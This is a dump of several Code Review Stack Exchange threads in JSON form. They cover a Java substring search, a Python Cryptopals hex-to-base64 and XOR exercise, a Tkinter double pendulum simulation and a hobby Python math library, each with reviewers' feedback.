"body": "You can do it with an statistical approach. Suposse comparing a string in average time \\$O(1)\\$ and worst case \\$O(n)\\$, how is it possible? you will compare `pattern[i] == text[i] && pattern[i + pattern.length - 1] == text[i + text.length - 1]` using a for condition `i < pattern.length / 2`. It is less probable for human words to coincide in such a way more than 3 end-to-end comparisons with *equal lenght*. This is for single mathch not substrings, still you may extend the reasoning. Respect to the complexity of this new algorithm it could be in average \\$O(n)\\$ and in worst case \\$O(n^2)\\$"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T11:29:05.887",
"Id": "503564",
"Score": "1",
"body": "The Knuth-Morris-Pratt algorithm stems from a time where a character code on a computer had 256 chars. Back then, it was an interesting approach. But today, as we are working with unicode (about 143000 characters), KMP is outdated. Don't use it."
}
] |
[
{
"body": "<p>Nice implementation, my suggestions:</p>\n<ul>\n<li><strong>Bug</strong>: <code>text="aa aaa"</code> and <code>pattern="aaa"</code> returns 1 instead of 3. Whether to handle this edge case depends on your use case, but if <code>text</code> can be any string then it should be considered.</li>\n<li><strong>Input validation</strong>: if <code>pattern</code> is empty or null, a null pointer exception is thrown. You can fix it by adding a condition at the beginning of the method.</li>\n<li><strong>Naming</strong>: the method name <code>search</code> is too general. Consider a more specific one, like <code>firstIndexOf</code> or similar. The variable names <code>set</code> and <code>addList</code> also can be improved.</li>\n<li><strong>Arguments order</strong>: this is a personal opinion, but I would put the string being searched (<code>text</code>) before the string to search for (<code>pattern</code>).</li>\n<li><strong>Exception if not found</strong>: for such a function is common to return <code>-1</code> instead of an exception when the <code>pattern</code> is not found. In doubt, document the method.</li>\n<li><strong>Testing</strong>: this method deserves more than one test, possibly using JUnit.</li>\n<li><strong>Complexity</strong>: the complexity seems to be <span class=\"math-container\">\\$O(textLenght*patternLength)\\$</span>. The outer for-loop iterates on <code>text</code>, while the inner for-loop won't do more than <code>patternLength</code> iterations otherwise <code>pattern.charAt(index)</code> will throw an exception. The time complexity of <code>String#indexOf</code> is <a href=\"https://stackoverflow.com/a/12752295/8484783\"><span class=\"math-container\">\\$O(n*m)\\$</span></a> so the main difference to your solution regarding complexity (worst case) is probably the space complexity. Anyway, it's better to focus on the correct functionality first and performance later.</li>\n</ul>\n<p>As a reference this is the <a href=\"http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/java/lang/String.java#l1740\" rel=\"nofollow noreferrer\">native implementation</a>:</p>\n<pre><code>static int indexOf(char[] source, int sourceOffset, int sourceCount,\n char[] target, int targetOffset, int targetCount,\n int fromIndex) {\n if (fromIndex >= sourceCount) {\n return (targetCount == 0 ? sourceCount : -1);\n }\n if (fromIndex < 0) {\n fromIndex = 0;\n }\n if (targetCount == 0) {\n return fromIndex;\n }\n\n char first = target[targetOffset];\n int max = sourceOffset + (sourceCount - targetCount);\n\n for (int i = sourceOffset + fromIndex; i <= max; i++) {\n /* Look for first character. */\n if (source[i] != first) {\n while (++i <= max && source[i] != first);\n }\n\n /* Found first character, now look at the rest of v2 */\n if (i <= max) {\n int j = i + 1;\n int end = j + targetCount - 1;\n for (int k = targetOffset + 1; j < end && source[j]\n == target[k]; j++, k++);\n\n if (j == end) {\n /* Found whole string. */\n return i - sourceOffset;\n }\n }\n }\n return -1;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T07:45:36.977",
"Id": "255206",
"ParentId": "255192",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "255206",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-24T22:26:57.530",
"Id": "255192",
"Score": "3",
"Tags": [
"java",
"algorithm",
"strings",
"complexity"
],
"Title": "Substring search in Java"
}
|
255192
|
<p>I've seen on the site questions where too simple tasks can be grouped into one.</p>
<p>Here are Challenge 1 & 2 from <a href="https://cryptopals.com/sets/1" rel="nofollow noreferrer">Crypto Challenge Set 1</a> in Python.
Any suggestions?</p>
<pre><code>the_hex = "49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d"
base64_table = {
'A': '000000',
'B': '000001',
'C': '000010',
'D': '000011',
'E': '000100',
'F': '000101',
'G': '000110',
'H': '000111',
'I': '001000',
'J': '001001',
'K': '001010',
'L': '001011',
'M': '001100',
'N': '001101',
'O': '001110',
'P': '001111',
'Q': '010000',
'R': '010001',
'S': '010010',
'T': '010011',
'U': '010100',
'V': '010101',
'W': '010110',
'X': '010111',
'Y': '011000',
'Z': '011001',
'a': '011010',
'b': '011011',
'c': '011100',
'd': '011101',
'e': '011110',
'f': '011111',
'g': '100000',
'h': '100001',
'i': '100010',
'j': '100011',
'k': '100100',
'l': '100101',
'm': '100110',
'n': '100111',
'o': '101000',
'p': '101001',
'q': '101010',
'r': '101011',
's': '101100',
't': '101101',
'u': '101110',
'v': '101111',
'w': '110000',
'x': '110001',
'y': '110010',
'z': '110011',
'0': '110100',
'1': '110101',
'2': '110110',
'3': '110111',
'4': '111000',
'5': '111001',
'6': '111010',
'7': '111011',
'8': '111100',
'9': '111101',
'+': '111110',
'/': '111111'
}
hex2bin_table = {
'0': '0000',
'1': '0001',
'2': '0010',
'3': '0011',
'4': '0100',
'5': '0101',
'6': '0110',
'7': '0111',
'8': '1000',
'9': '1001',
'a': '1010',
'b': '1011',
'c': '1100',
'd': '1101',
'e': '1110',
'f': '1111'
}
def hex_to_base64(the_hex):
hex_in_bin = ''
for c in the_hex:
# to_ascii = ord(c) # if it's text to base64
# print(c, to_ascii, bin(to_ascii)[2:].zfill(8), hex2bin_table[c])
# hex_in_bin += bin(to_ascii)[2:].zfill(8)
hex_in_bin += hex2bin_table[c]
# switch keys and values only for unique values
reversed_table = dict(zip(base64_table.values(), base64_table.keys()))
final = ""
for c in range(0, len(hex_in_bin), 6):
x = hex_in_bin[c:c + 6]
if len(x) == 6:
final += reversed_table[x]
else:
# pad with 0s to 6
final += reversed_table[x.ljust(6, '0')]
len_to_fill_final = 0
if len(the_hex) % 3 != 0:
# see Output padding from wiki, base64
if len(final) % 4 != 0:
len_to_fill_final = len(final)
while len_to_fill_final % 4 != 0:
len_to_fill_final += 1
return final.ljust(len_to_fill_final, "=")
print(hex_to_base64(the_hex))
print("SSdtIGtpbGxpbmcgeW91ciBicmFpbiBsaWtlIGEgcG9pc29ub3VzIG11c2hyb29t")
hex1 = '1c0111001f010100061a024b53535009181c'
hex2 = '686974207468652062756c6c277320657965'
expected_result = '746865206b696420646f6e277420706c6179'
# hex to bin
def hex_2_bin(hex_string):
hex2bin_temp = ""
for c in hex_string:
hex2bin_temp += hex2bin_table[c]
return hex2bin_temp
hex2bin_temp1 = hex_2_bin(hex1)
hex2bin_temp2 = hex_2_bin(hex2)
len_hex1 = len(hex2bin_temp1)
len_hex2 = len(hex2bin_temp2)
xored_binary = ""
for index in range(len_hex1):
a = int(hex2bin_temp1[index])
b = int(hex2bin_temp2[index])
c = a ^ b
xored_binary = "".join((xored_binary, str(c)))
# again convert keys to values for hex to bin table
reversed_bin_table = dict(zip(hex2bin_table.values(), hex2bin_table.keys()))
finale = ""
for x in range(0, len(xored_binary), 4):
h = reversed_bin_table[xored_binary[x:x + 4]]
finale = "".join((finale, h))
print(finale)
print(expected_result)
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T03:39:52.807",
"Id": "255198",
"Score": "0",
"Tags": [
"python-3.x",
"programming-challenge",
"reinventing-the-wheel"
],
"Title": "Convert hex to base64 and then fixed XOR"
}
|
255198
|
<p>I decided to create a double pendulum simulation to trace out its path and explore chaos theory a bit. I'm looking for any feedback regarding my code. Are there any atrocious portions of my code or bad practices I did?</p>
<pre><code>import tkinter as tk
import random
from math import pi, sin, cos
G = 9.81
class SimplePendulum():
def __init__(self, length, initial_theta, delta):
self.length = length
self.initial_theta = initial_theta
self.delta = delta
self.period = 2 * pi * (self.length/G)**(1/2)
self.time = 0
self.theta = None
self.frame = tk.Frame(root)
self.scl_length = tk.Scale(self.frame, from_=25, to=350, length= 300, tickinterval=50, label= 'Length of Pendulum', troughcolor='yellow', orient=tk.HORIZONTAL)
self.scl_length.set(length)
def grid_widgets(self):
self.frame.grid(row=0, column=1, rowspan=3)
self.scl_length.grid(row=0,column=0, padx=10, pady=5)
def incr_theta(self):
self.initial_theta += pi/8
if self.initial_theta >= pi:
self.initial_theta = pi - pi/8
self.time = 0
def decr_theta(self):
self.initial_theta -= pi/8
if self.initial_theta < 0:
self.initial_theta = 0
self.time = 0
def update_pendulum(self, pivot_x, pivot_y):
self.length = self.scl_length.get()
self.theta = self.initial_theta * cos((2*pi/self.period)*self.time)
pend_x = pivot_x + self.length * sin(self.theta)
pend_y = pivot_y + self.length * cos(self.theta)
self.time += self.delta
if self.time >= self.period:
self.time = self.time - self.period
return pend_x, pend_y
class DoublePendulum():
def __init__(self, mass_1, mass_2, length_1, length_2, theta_1, theta_2, delta):
self.mass_1 = mass_1
self.mass_2 = mass_2
self.length_1 = length_1
self.length_2 = length_2
self.theta_1 = theta_1
self.theta_2 = theta_2
self.delta = delta
self.deriv_theta_1 = 0
self.deriv_theta_2 = 0
self.frame = tk.Frame(root)
self.scl_length_1 = tk.Scale(self.frame, from_=25, to=175, length= 300, tickinterval=50, label= 'Length of Pendulum 1', troughcolor='yellow', orient=tk.HORIZONTAL)
self.scl_length_1.set(length_1)
self.scl_length_2 = tk.Scale(self.frame, from_=25, to=175, length= 300, tickinterval=50, label= 'Length of Pendulum 2', troughcolor='yellow', orient=tk.HORIZONTAL)
self.scl_length_2.set(length_1)
self.grid_widgets()
def grid_widgets(self):
self.frame.grid(row=0, column=1, rowspan=3)
self.scl_length_1.grid(row=0,column=0, padx=10, pady=5)
self.scl_length_2.grid(row=1,column=0, padx=10, pady=5)
def update_pendulum(self, pivot_x, pivot_y):
self.length_1 = self.scl_length_1.get()
self.length_2 = self.scl_length_2.get()
# Compenents for the 2nd derivative of theta for pendulum 1 (https://www.myphysicslab.com/pendulum/double-pendulum-en.html)
comp_1 = -G*(2*self.mass_1 + self.mass_2)*sin(self.theta_1) - self.mass_2*G*sin(self.theta_1 - 2*self.theta_2)
comp_2 = 2*sin(self.theta_1 - self.theta_2)*self.mass_2*(self.deriv_theta_2**2*self.length_2 + self.deriv_theta_1**2*self.length_1*cos(self.theta_1-self.theta_2))
comp_3 = self.length_1*(2*self.mass_1 + self.mass_2 - self.mass_2*cos(2*self.theta_1-2*self.theta_2))
sec_deriv_theta_1 = (comp_1 - comp_2)/comp_3
# Compenents for the 2nd derivative of theta for pendulum 2
comp_1 = 2*sin(self.theta_1-self.theta_2)
comp_2 = self.deriv_theta_1**2*self.length_1*(self.mass_1 + self.mass_2) + G*(self.mass_1+self.mass_2)*cos(self.theta_1) + self.deriv_theta_2**2*self.length_2*self.mass_2*cos(self.theta_1-self.theta_2)
comp_3 = self.length_2*(2*self.mass_1 + self.mass_2 - self.mass_2*cos(2*self.theta_1-2*self.theta_2))
sec_deriv_theta_2 = (comp_1 * comp_2)/comp_3
self.deriv_theta_1 += sec_deriv_theta_1 * self.delta
self.deriv_theta_2 += sec_deriv_theta_2 * self.delta
self.theta_1 += self.deriv_theta_1 * self.delta
self.theta_2 += self.deriv_theta_2 * self.delta
pend_1_x = pivot_x + self.length_1*sin(self.theta_1)
pend_1_y = pivot_y + self.length_1*cos(self.theta_1)
pend_2_x = pend_1_x + self.length_2*sin(self.theta_2)
pend_2_y = pend_1_y + self.length_2*cos(self.theta_2)
return pend_1_x, pend_1_y, pend_2_x, pend_2_y
class MainApplication(tk.Tk):
def __init__(self, master, pendulum_params, double_pendulum_params):
self.master = master
self.frm_upper = tk.Frame(self.master)
self.btn_simple = tk.Button(self.frm_upper,text="Simple Pendulum", command=lambda: self.switch(1))
self.btn_double = tk.Button(self.frm_upper,text="Double Pendulum", state=tk.DISABLED,command= lambda: self.switch(0))
self.frm_canvas = tk.Frame(self.master)
self.canvas = tk.Canvas(self.frm_canvas, height=800, width=800, bg="black")
self.frm_lower = tk.Frame(self.master)
self.chk_trace = tk.Checkbutton(self.frm_lower, text="Trace", command=self.start_trace)
self.btn_clear = tk.Button(self.frm_lower, text="Clear Trace", command=self.clear_trace)
self.btn_pause = tk.Button(self.frm_lower, text="Pause", width=7, command=self.pause)
self.pendulum = SimplePendulum(**pendulum_params)
self.double_pendulum = DoublePendulum(**double_pendulum_params)
self.pivot_x = int(self.canvas['width'])/2 # Location of pendulum pivot on canvas
self.pivot_y = 300
self.btn_randomize = self.btn_randomize = tk.Button(self.double_pendulum.frame, text="Randomize (Initial Theta)", command=self.randomize)
self.bool_trace = False
self.bool_pause = False
self.bool_display = False # False = Simple Pendulum, True = Double Pendulum
self.all_traces = []
self.curr_trace = []
self.grid_pack_widgets()
self.draw_double_pendulum()
def grid_pack_widgets(self):
self.frm_upper.grid(row=0, column=0)
self.frm_canvas.grid(row=1, column=0)
self.frm_lower.grid(row=2, column=0)
self.btn_simple.pack(side=tk.LEFT)
self.btn_double.pack(side=tk.LEFT)
self.canvas.pack()
self.chk_trace.pack(side=tk.LEFT)
self.btn_clear.pack(side=tk.LEFT)
self.btn_pause.pack(side=tk.LEFT)
self.btn_randomize.grid(row=2,column=0, padx=10, pady=5)
def draw_simple_pendulum(self):
if self.bool_pause:
tk.after_id = self.canvas.after(15,self.draw_simple_pendulum)
else:
self.canvas.delete("pendulum")
self.canvas.delete("line")
self.canvas.delete("trace")
self.simple_motion()
tk.after_id = self.canvas.after(15, self.draw_simple_pendulum)
def simple_motion(self):
(x, y) = self.pendulum.update_pendulum(self.pivot_x, self.pivot_y)
radius = 10
self.canvas.create_oval(x - radius, y - radius, x + radius, y + radius, tag="pendulum", fill="white")
self.canvas.create_line(self.pivot_x, self.pivot_y, x, y, width=3, tag="line", fill="white")
if self.bool_trace:
self.curr_trace.append((x,y,x,y))
if self.all_traces:
for trace in self.all_traces:
self.canvas.create_line(trace, tag="trace", fill="white")
if self.curr_trace:
self.canvas.create_line(self.curr_trace, tag="trace", fill="white")
def draw_double_pendulum(self):
if self.bool_pause:
tk.after_id = self.canvas.after(15,self.draw_double_pendulum)
else:
self.canvas.delete("pendulum")
self.canvas.delete("line")
self.canvas.delete("trace")
self.double_motion()
tk.after_id = self.canvas.after(15, self.draw_double_pendulum)
def double_motion(self):
(x, y, x2, y2) = self.double_pendulum.update_pendulum(self.pivot_x, self.pivot_y)
radius = 10
self.canvas.create_oval(x - radius, y - radius, x + radius, y + radius, tag="pendulum", fill="white")
self.canvas.create_oval(x2 - radius, y2 - radius, x2 + radius, y2 + radius, tag="pendulum", fill="white")
self.canvas.create_line(self.pivot_x, self.pivot_y, x, y, width=3, tag="line", fill="white")
self.canvas.create_line(x, y, x2, y2, width=3, tag="line", fill="white")
if self.bool_trace:
self.curr_trace.append((x2,y2,x2,y2))
if self.all_traces:
for trace in self.all_traces:
self.canvas.create_line(trace, tag="trace", fill="white")
if self.curr_trace:
self.canvas.create_line(self.curr_trace, tag="trace", fill="white")
def start_trace(self):
if self.curr_trace:
self.all_traces.append(self.curr_trace)
self.curr_trace = []
self.bool_trace = not self.bool_trace
def clear_trace(self):
self.curr_trace = []
self.all_traces = []
self.canvas.delete('trace')
def pause(self):
if self.bool_pause:
self.btn_pause['text'] = "Pause"
self.bool_pause = False
else:
self.btn_pause['text'] = "Resume"
self.bool_pause = True
def switch(self, val):
if val is 1: # Switch to Simple Pendulum
self.btn_simple['state'] = tk.DISABLED
self.btn_double['state'] = tk.ACTIVE
self.canvas.delete('all')
self.canvas.after_cancel(tk.after_id)
self.simple_motion()
self.curr_trace = []
self.all_traces = []
self.double_pendulum.frame.grid_forget()
self.pendulum.grid_widgets()
self.draw_simple_pendulum()
else: # Switch to Double Pendulum
self.btn_simple['state'] = tk.ACTIVE
self.btn_double['state'] = tk.DISABLED
self.canvas.delete('all')
self.canvas.after_cancel(tk.after_id)
self.double_motion()
self.curr_trace = []
self.all_traces = []
self.pendulum.frame.grid_forget()
self.double_pendulum.grid_widgets()
self.btn_randomize.grid(row=2,column=0, padx=10, pady=5)
self.draw_double_pendulum()
def randomize(self):
if self.curr_trace:
self.all_traces.append(self.curr_trace)
self.curr_trace = []
self.double_pendulum.theta_1 = random.uniform(-pi,pi)
self.double_pendulum.deriv_theta_1 = 0
self.double_pendulum.theta_2 = random.uniform(-pi,pi)
self.double_pendulum.deriv_theta_2 = 0
if __name__ == '__main__':
pend_params = {
'length' : 300.0,
'initial_theta' : pi/2,
'delta' : .1
}
dub_pend_params = {
'length_1' : 150,
'length_2' : 150,
'mass_1' : 5,
'mass_2' : 5,
'theta_1' : pi/2,
'theta_2' : 3*pi/4,
'delta' : .1,
}
root = tk.Tk()
root.title("Pendulum Simulation")
root.resizable(False,False)
root.columnconfigure(1, weight=1)
app = MainApplication(root, pend_params, dub_pend_params)
root.mainloop()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-26T08:44:46.310",
"Id": "503554",
"Score": "1",
"body": "Well done. The program is well structured and runs as expected. Also the implementations of second order derivative is well implemented. I did a similar project some time ago using matplotlib inside tkinter and scipy to solve the derivative, have a look at https://github.com/bvermeulen/Double-Pendulum. Program is mpl_embedded_in_tk_pendulum.py if I remember correctly."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T22:14:35.403",
"Id": "503703",
"Score": "1",
"body": "@BrunoVermeulen I really like your rendition of it, good job!"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T06:18:56.817",
"Id": "255201",
"Score": "2",
"Tags": [
"python",
"tkinter"
],
"Title": "Simple & Double Pendulum simulation with Python's Tkinter"
}
|
255201
|
<p>I have been writing a math library with more options than the standard builtin one, partially to make my life easier in the future, and partially just for practice.
Here is what I have so far in the main file (master/xtrmth/xm.py):</p>
<pre class="lang-py prettyprint-override"><code>
import typing as tp
import decimal as dc
_meganum = tp.Union[int, float, dc.Decimal, tp.SupportsInt, tp.SupportsFloat]
_num = tp.Union[int, float, dc.Decimal]
_micronum = tp.Union[int, float]
_decnum = tp.Union[float, dc.Decimal]
def _total_round(value: _num, precision: int = 10, decimal: bool = False) -> _num:
"""Rounds 'value' to the nearest 'precision' digits."""
if isinstance(value, int):
return value
elif precision < 0:
raise ValueError('Cannot cast a negative integer onto \'xm._total_round(precision)\'')
elif decimal is True:
if isinstance(value, dc.Decimal):
return round(value, precision)
elif not isinstance(value, dc.Decimal) and decimal is True:
raise TypeError('Cannot cannot cast \'float\' onto \'xm._total_round(value)\' \
with opperand \'decimal\' as \'True\'.')
elif decimal is False:
if isinstance(value, float):
return round(value, precision)
elif not isinstance(value, float):
raise TypeError('Cannot cast \'decimal\' onto \'xm._total_round(value)\' \
with opperand \'decimal\' as \'False\'.')
def summation(count: int, bottom_var: str, expression: str, precision: int = 10, \
decimal: bool = False) -> _num:
'''Summation function. Example: 'summation(4, 'z=1', 'z+1')' would return 14.'''
if precision < 0:
raise ValueError('Cannot cast a negative integer onto \'xm.summation(precision)\'')
var, value = bottom_var.split('=')
var = var.strip()
if decimal is True:
value = dc.Decimal(eval(value))
else:
value = int(eval(value))
res = 0
for i in range(value, count+1):
res += eval(expression.replace(var, str(i)))
if decimal is True:
return _total_round(value=res, precision=precision, decimal=True)
return _total_round(res, precision=precision, decimal=False)
def sq(value: _num, precision: int = 10, decimal: bool = False, _print_unround: bool = False) -> _micronum:
'''Returns 'value' raised to the 2nd power, with 'precision' decimal points.'''
if isinstance(value, float) and decimal is True:
raise TypeError('Cannot cannot cast \'float\' onto \'xm.cb\' \
with opperand \'decimal\' as \'True\'.')
elif isinstance(value, dc.Decimal) and decimal is False:
raise TypeError('Cannot cannot cast \'decimal\' onto \'xm.cb\' \
with opperand \'decimal\' as \'False\'.')
elif isinstance(value, dc.Decimal) and decimal is True:
if _print_unround is True:
print(value*value)
return _total_round(value*value, precision, decimal=True)
if _print_unround is True:
print(value*value)
return _total_round(value*value, precision, decimal=False)
def sqrt(value: _meganum, precision: int = 10, decimal: bool = False, _print_unround: bool = False) -> _num:
if decimal is True:
x = dc.Decimal(value)
y = dc.Decimal(1)
e = dc.Decimal(0.000000000000000000000000000000000000000000000000000000000000000001)
else:
x = value
y = 1
e = 0.0000000000000000000000001
while x - y > e:
x = (x + y)/2
y = value / x
if _print_unround is True:
print(x)
return(_total_round(x, precision, decimal=decimal))
def cb(value: _meganum, precision: int = 10, decimal: bool = False, _print_unround: bool = False) -> _num:
'''Returns 'value' raised to the 2nd power, with '''
if isinstance(value, float) and decimal is True:
raise TypeError('Cannot cannot cast \'float\' onto \'xm.cb\' \
with opperand \'decimal\' as \'True\'.')
elif isinstance(value, dc.Decimal) and decimal is False:
raise TypeError('Cannot cannot cast \'decimal\' onto \'xm.cb\' \
with opperand \'decimal\' as \'False\'.')
elif isinstance(value, dc.Decimal) and decimal is True:
if _print_unround is True:
print(value*value*value)
return _total_round(value*value*value, precision, decimal=True)
if _print_unround is True:
print(value*value*value)
return _total_round(value*value*value, precision, decimal=False)
def cbrt(value, _print_unround: bool = False) -> _num:
x = value**(1/3)
if _print_unround is True:
print(x)
if type(x) is float:
if round(x, 10) == int(round(x, 10)): return int(round(x, 10))
return round(x, 10)
return x
def xpn(base: _meganum, exponent: _meganum, decimal: bool = False, precision: int = 10, _print_debug: bool = False) \
-> _num:
'''Raises 'base' to the power of 'exponent'.'''
if not isinstance(base, dc.Decimal) and decimal is True:
raise TypeError(f'Cannot cast \'{type(base).__name__()}\' onto \'xm.xpn(base)\' with opperand \'decimal\' as \'True\'')
elif isinstance(base, dc.Decimal) and decimal is False:
raise TypeError('Cannot cast \'decimal.Decimal\' onto \'xm.xpn(base)\' with opperand \'decimal\' as \'False\'')
out = 1
if isinstance(exponent, int):
if _print_debug is True:
print('exponent is int')
for i in range(exponent):
if _print_debug is True:
print(out)
out *= base
return _total_round(out, precision=precision, decimal=decimal)
else:
# will update with my own algorithim in a later update
return _total_round(base**exponent, precision=precision, decimal=decimal)
def rt(base: _meganum, root: _meganum, precision: int = 10, decimal: bool = False, _print_debug: bool = False) -> _num:
'''Takes the 'root' root of 'base' '''
if isinstance(base, dc.Decimal) and decimal is False:
raise TypeError('Cannot cast \'decimal.Decimal\' onto \'xm.rd(base)\' with opperand \'decimal\' as \'False\'')
elif not isinstance(base, dc.Decimal) and decimal is True:
raise TypeError(f'Cannot cast \'{type(base).__name__}\' onto \'xm.rd(base)\' with opperand \'decimal\' as \'False\'')
elif isinstance(root, dc.Decimal) and decimal is False:
raise TypeError('Cannot cast \'decimal.Decimal\' onto \'xm.rd(root)\' with opperand \'decimal\' as \'False\'')
elif not isinstance(root, dc.Decimal) and decimal is True:
raise TypeError(f'Cannot cast \'{type(root).__name__}\' onto \'xm.rd(root)\' with opperand \'decimal\' as \'True\'')
if decimal is True:
return xpn(base = base, exponent = (dc.Decimal(1) / root), decimal = True, precision = precision, _print_debug = _print_debug)
return xpn(base = base, exponent = (1 / root), decimal = False, precision = precision, _print_debug = _print_debug)
</code></pre>
<p>Is there anything I should change?</p>
<p>Github page: <a href="https://github.com/CATboardBETA/xtrmth" rel="nofollow noreferrer">Github</a><br />
PyPI page: <a href="https://pypi.org/project/xtrmth/" rel="nofollow noreferrer">PyPI</a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T10:42:55.270",
"Id": "503470",
"Score": "0",
"body": "`cb(…) -> _num:\n '''Returns 'value' raised to the 2nd power, with '''` Again?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T13:43:54.103",
"Id": "503482",
"Score": "0",
"body": "@greybeard That was a mistype in the docstring."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T13:57:25.397",
"Id": "503483",
"Score": "0",
"body": "(I'd call it a C&PE: *Copy&Paste Error*. In the \"original code\", probably, rather than in transferring to SE. Keep in mind a) posting on SE puts contents under a Creative Commons licence b) docstrings are available during execution via introspection.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T14:28:59.883",
"Id": "503485",
"Score": "0",
"body": "@greybeard No, I simply made a mistype. It's not that rare."
}
] |
[
{
"body": "<h1>General</h1>\n<p><code>import typing as tp</code> => <code>from typing import Union</code> reduces acronyms reader needs to remmber</p>\n<p>Backslashes are scary. Adding parentheses or in this case trusting the existing ones will be easier to read.</p>\n<pre><code>def summation(count: int, bottom_var: str, expression: str, precision: int = 10, \\\ndecimal: bool = False) -> _num:\n</code></pre>\n<p>Again, backslashes are scary.</p>\n<pre><code>raise ValueError('Cannot cast a negative integer onto \\'xm.summation(precision)\\'')\n# could be\nraise ValueError("Cannot cast a negative integer onto 'xm.summation(precision)'")\n</code></pre>\n<p>There are a lot of underscores here. Exposing the important functions in an separate file would reduce the need to hide everything.</p>\n<h1>Functions</h1>\n<p>Each of your functions are written in a pretty similar style, so I'll just look at one of them.</p>\n<pre><code>def rt(base: _meganum, root: _meganum, precision: int = 10, decimal: bool = False, _print_debug: bool = False) -> _num:\n '''Takes the 'root' root of 'base' '''\n\n if isinstance(base, dc.Decimal) and decimal is False:\n raise TypeError('Cannot cast \\'decimal.Decimal\\' onto \\'xm.rd(base)\\' with opperand \\'decimal\\' as \\'False\\'')\n elif not isinstance(base, dc.Decimal) and decimal is True:\n raise TypeError(f'Cannot cast \\'{type(base).__name__}\\' onto \\'xm.rd(base)\\' with opperand \\'decimal\\' as \\'False\\'')\n elif isinstance(root, dc.Decimal) and decimal is False:\n raise TypeError('Cannot cast \\'decimal.Decimal\\' onto \\'xm.rd(root)\\' with opperand \\'decimal\\' as \\'False\\'')\n elif not isinstance(root, dc.Decimal) and decimal is True:\n raise TypeError(f'Cannot cast \\'{type(root).__name__}\\' onto \\'xm.rd(root)\\' with opperand \\'decimal\\' as \\'True\\'')\n \n if decimal is True:\n return xpn(base = base, exponent = (dc.Decimal(1) / root), decimal = True, precision = precision, _print_debug = _print_debug)\n return xpn(base = base, exponent = (1 / root), decimal = False, precision = precision, _print_debug = _print_debug)\n</code></pre>\n<ul>\n<li>You can afford more than 2 characters for a function name.</li>\n<li>The <code>Decimal</code> type as an edge case clutters up both your usage and your library code.</li>\n<li>The conditional statements can be removed by taking advantage of features these types already have</li>\n</ul>\n<pre><code>def nth_root(base: _meganum, n: _meganum, precision: int = 10) -> _num:\n '''Takes the nth root of 'base' '''\n # works for Decimals, ints, floats, whatever\n exponent = n ** -1\n return xpn(base=base, exponent=exponent, precision=precision)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-25T07:20:53.700",
"Id": "255204",
"ParentId": "255203",
"Score": "3"
}
},
{
"body": "<p>What's going on here?</p>\n<blockquote>\n<pre><code>elif decimal is True:\n ⋮\nelif decimal is False:\n</code></pre>\n</blockquote>\n<p>Firstly, especially since we annotated that <code>decimal</code> is boolean, we should just be testing its truthiness; secondly, at the <code>elif</code> we already know that <code>decimal</code> isn't true. So, simply write</p>\n<blockquote>\n<pre><code>elif decimal:\n ⋮\nelse:\n</code></pre>\n</blockquote>\n<p>Applying this simple change throughout already cuts a lot of unnecessary verbiage and improves the readability.</p>\n<p>The immediately preceding code shows we shouldn't be in <code>elif</code> anyway</p>\n<blockquote>\n<pre><code>if isinstance(value, int):\n return …\nelif precision < 0:\n raise …\nelif decimal is True:\n</code></pre>\n</blockquote>\n<p>Since <code>return</code> and <code>raise</code> both exit the flow of control, we can reduce cognitive load thus:</p>\n<pre><code>if isinstance(value, int):\n return …\nif precision < 0:\n raise …\nif decimal:\n</code></pre>\n<p>Looking inside the <code>if decimal</code> case, we see:</p>\n<blockquote>\n<pre><code> elif decimal is True:\n if isinstance(value, dc.Decimal):\n return …\n elif not isinstance(value, dc.Decimal) and decimal is True:\n raise …\n</code></pre>\n</blockquote>\n<p>In last condition, we know that <code>decimal</code> is true and that <code>value</code> is not a <code>dc.Decimal</code>, so that one just becomes a plain <code>else</code> - and not needed because the previous clause returned:</p>\n<pre><code> elif decimal:\n if not isinstance(value, dc.Decimal):\n raise …\n return …\n</code></pre>\n<p>Just simplifying the control flow in that one function makes it a lot simpler:</p>\n<pre><code>def _total_round(value: _num, precision: int = 10, decimal: bool = False) -> _num:\n """Rounds 'value' to the nearest 'precision' digits."""\n if isinstance(value, int):\n return value\n if precision < 0:\n raise ValueError("Cannot cast a negative integer onto 'xm._total_round(precision)'")\n if decimal and not isinstance(value, dc.Decimal):\n raise TypeError("Cannot cannot cast 'float' onto 'xm._total_round(value)' \\\nwith operand 'decimal' as 'True'.")\n if not decimal and not isinstance(value, float):\n raise TypeError("Cannot cast 'decimal' onto 'xm._total_round(value)' \\\nwith operand 'decimal' as 'False'.")\n return round(value, precision)\n</code></pre>\n<hr />\n<p>Looking again from further away, I don't see any unit-tests at all. What happened to them?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-15T16:18:26.563",
"Id": "507938",
"Score": "0",
"body": "To most of this: understood, I will change (note though that `_total_round()` has already been greatly simplified since I made this post). To the unit tests: I usually just go into the REPL, import the file, and try out the functions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-15T16:50:06.540",
"Id": "507942",
"Score": "0",
"body": "A good regression suite is well worth cultivating, and in Python it's easy to include it under `if __name__ == '__main__'`. Definitely consider writing some tests - and for your next project, they are even more valuable if you use them to write the code!"
},
{
